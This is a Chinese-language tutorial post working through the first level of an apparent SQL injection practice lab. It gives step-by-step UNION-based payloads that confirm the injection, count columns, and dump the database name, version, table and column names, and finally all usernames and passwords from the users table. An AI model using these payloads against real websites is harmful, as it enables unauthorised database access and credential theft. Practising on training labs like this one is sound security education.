sql注入练习

发布于:2024-08-08 ⋅ 阅读:(114) ⋅ 点赞:(0)

less-1

判断注入是否存在

这提示让我写个参数id,且要值类型为数字

输入 ?id=1

在输入id=2 

判断注入:参数后面随便输,异常就是说明数据代入了,存在注入。(如果404或者跳转,那说明该网站对输入进行检测,大概率没有注入)

随便输入字符,发现没有出现注入信息

判断sql语句是否拼接

?id=1'
?id=1'--+

可以根据结果指定是字符型且存在sql注入漏洞。

联合注入

使用order by拼接在sql中,意思根据order by的列进行排序,且判断列数

爆列

?id=1%27order by 5--+

?id=1%27order by 4--+

?id=1%27order by 3--+

union 联合注入,union 的作用是将两个 sql 语句进行联合。
强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。union all 与 union 的区别是增加了去重的功能。

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就 将后面的语句的内容显示出来 )此处前台页面返 回了我们构造的 union 的数据。

 由于我们已经知道了这个表有三列,所以我们使用联合查询来爆出显示位

?id=1' union select 1,2,3--+

只显示了第一条语句的执行结果,通道位置并未显示

由于只能查看第一组数据,所以我们需要修改id值,让他要么远超这个数据表,要不小于0,于是我们让它去等于-1

?id=-1' union select 1,2,3--+

我们知道了回显的列数是第二列和第三列,所以我们可以直接爆出数据库名和版本号

id=-1' union select 1,database(),version()--+

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

information_schema.tables表示该数据库下的tables表,group_concat() 是将查询结果连接起来

爆 users 表的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆字段名

通过sql语句查询后的结果知道当前数据库有四个表,根据表名猜测账户和密码可能在users表中

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。

爆数据

?id=-1' union select 1,username,password from users where id=3 --+

获取用户名和密码

?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+